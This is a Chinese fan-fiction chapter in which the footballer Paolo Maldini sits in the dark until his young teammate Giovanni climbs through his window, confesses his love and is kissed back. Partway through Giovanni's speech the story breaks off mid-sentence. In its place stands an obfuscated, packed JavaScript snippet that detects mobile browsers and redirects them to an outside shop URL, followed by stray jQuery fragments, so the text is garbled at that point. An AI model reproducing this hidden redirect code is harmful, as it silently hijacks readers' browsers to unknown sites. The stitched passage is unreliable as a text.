马尔蒂尼晚餐后就回到了房间，他没有开灯，只是靠床坐在地板上。


    他的姐姐与范巴斯滕亲吻时，他看见乔瓦尼眼中一闪而过的震惊——紧接着，那个年轻人的目光便毫无遮掩地望了过来。


    那一刻，他只觉得周身的血液都退了下去。


    那个由他、他的父亲和科斯塔库塔共同隐藏的秘密，原本就并不牢固。现在，它只是以一种自然的方式被看见了。并不需要语言，年轻人便已经看懂了他越界的、从一开始就不该存在的感情。


    他立刻意识到，他再也无法在年轻人面前维持平静了。


    当对方已经窥见他的内心，再假装若无其事，只会显得可笑。


    黑暗中，他不知道自己坐了多久。他试图找出一个能让他们都留在米兰，像从前那样继续踢球的方法，但思绪如陷入迷雾，兜兜转转，始终寻不到出口。


    ……这一切都是他的过错，乔瓦尼不该替他承担任何后果。那个年轻人属于米兰，他的未来、他的锋芒，都不该因为一个年长者的失控而被迫转向。


    可他自己呢？


    他同样离不开米兰，他从未想过为其他俱乐部效力。


    就在一个危险的念头缓慢浮现出来之时——


    “咚咚咚。”敲门声毫无征兆地响起。


    马尔蒂尼只是向门口偏了偏头。


    ——是乔瓦尼。他认得那节奏。


    马尔蒂尼将脸更深地埋进臂弯，没有动，也没有回答。寂静在黑暗中蔓延，唯有敲门声一下、又一下。


    他不能回应。


    没过多久，门外的人离开了。


    马尔蒂尼闭上眼睛，只觉得喉咙酸涩得厉害。


    不知过了多久，玻璃窗忽然传来“嗒”地一声轻响，脆生生的，带着小心翼翼的试探。


    ——还是乔瓦尼。他之前就用小石子砸过他的窗户。


    短暂停顿后，又是“嗒”地一声。


    外面很冷，马尔蒂尼心想。


    不久后，又是三下。


    寂静重新沉入房间，比之前更深、更重。黑暗像潮水没过他的身体，吞没了最后一点细微的响动。


    他应该回屋了吧，马尔蒂尼想。


    “砰！砰！”


    然而，两声沉重的敲击却猛然砸在玻璃窗上，将马尔蒂尼彻底震醒。他猛地转头望向窗户，随即瞳孔骤缩——


    只见乔瓦尼正单手攀着窗框，另一只手攥成拳头，作势又要落下。


    “保罗·马尔蒂尼！快开——”


    话音未落，马尔蒂尼已经扑到窗前。双腿因久坐而酸麻，他却仿佛感觉不到，他猛地拉开窗户，一把抱住乔瓦尼的腰，将人从窗外狠狠拽了进来。


    因为力道太急，两人失去平衡，重重摔倒在地板上。


    马尔蒂尼垫在下面，撞痛的背脊让他吸了口凉气，“你知道这有多危——”


    呵斥的话才脱口一半，他身上的乔瓦尼却突然压了下来——


    一个吻又急又重地堵住了他所有未出口的音节。


    马尔蒂尼浑身一僵，随即将身上的人推开。


    “乔！我们不能这样……”


    骑坐在他身上的乔瓦尼却只是舔了舔嘴唇，“本来我不想的，可谁让你不开门。”


    马尔蒂尼痛苦地闭上了眼睛，“不，我们不能……”


    乔瓦尼的手掌紧紧抵在男人的胸口，隔着一层衣料，能清晰感觉到对方急促的心跳。


    “我只想问你一个问题。”他的声音压得很低，却很清晰，“你是不是喜欢我？”


    马尔蒂尼的头偏向一旁，下颌线绷紧，没有回答这个问题。


    “去年，所有人都告诉我，你的行为会给我带来伤害，你们隐瞒我是为了保护我，因为那个真相，是十九岁的我承受不起的。”乔瓦尼快速说道，仿佛这些话已在心里翻滚过千百遍。


    他深吸一口气，胸膛起伏，“可你们没有一个人问过我，你们擅自替我做了决定。我感激你们的爱护，真的，但我必须告诉你——”


    他的手指无意识地揪紧了对方胸前的布料。


    “你是我的队长，你比我年长，但那又怎样？难道在你们眼里，年轻就等于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074072|184144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有判断力？年轻就没有资格去爱，也没有能力去承担责任吗？”


    “保罗，我想和你一起生活、一起踢球。我不在乎你承不承认。但我喜欢你，这是我的感情，我现在清清楚楚、毫无保留地告诉你。”


    “我不奢求现在就能和你在一起，我知道这不现实。”他稍稍松开了抵在对方胸口的手，但没有移开，“我愿意等，等到我们能够站在阳光下的那一天，哪怕那一天还很遥远。”


    “或许我们永远不能像马尔科先生和多娜那般得到外界的认同，但我不在乎。我只在乎一件事，那就是你在想什么，你愿不愿意……也等我？”


    马尔蒂尼的手指在身侧的地板上轻微地蜷缩了一下。黑暗掩盖了他大半的神情，只有声音低低地传来：“可你还没满二十岁，你的人生……才刚刚展开。你见过的世界还太小，你的生活里几乎只有米兰、只有足球。”


    他停顿了片刻，呼吸声在寂静中显得格外清晰，“你的未来还很长，你会遇见更多的人……也许是位让你心动的女性。你不该在这么早的时候，就为自己定下一条这么难走的路。”


    “这条路难不难走，要看是和谁一起走。”乔瓦尼却语气坚定，“我觉得你应该对自己更有信心一些，也对我，更有信心一些。”


    他的上半身再次前倾向马尔蒂尼，肩背微微发颤，像是正在竭力克制着某种汹涌的情绪：


    “难道，我非要到三十岁才能开始爱你吗？”


    马尔蒂尼脑中那根紧绷了一年的弦在这一刻猝然崩断。


    他猛地抬手，一把攥住乔瓦尼的领口，狠狠向下拽去——


    “——！”乔瓦尼猛地睁大眼睛。


    这不再是先前年轻人那个带着试探与冲撞的吻，而是一个属于成年人的吻，带着积压太久的情感，碾碎了所有未尽的话语与犹豫。


    马尔蒂尼能感觉到乔瓦尼瞬间的僵硬，随即是独属于年轻人的更热烈的回应。


    然后，他在对方几乎窒息前松开了手。


    “满意了？”他的声音沙哑得厉害，“现在，从我身上下去。”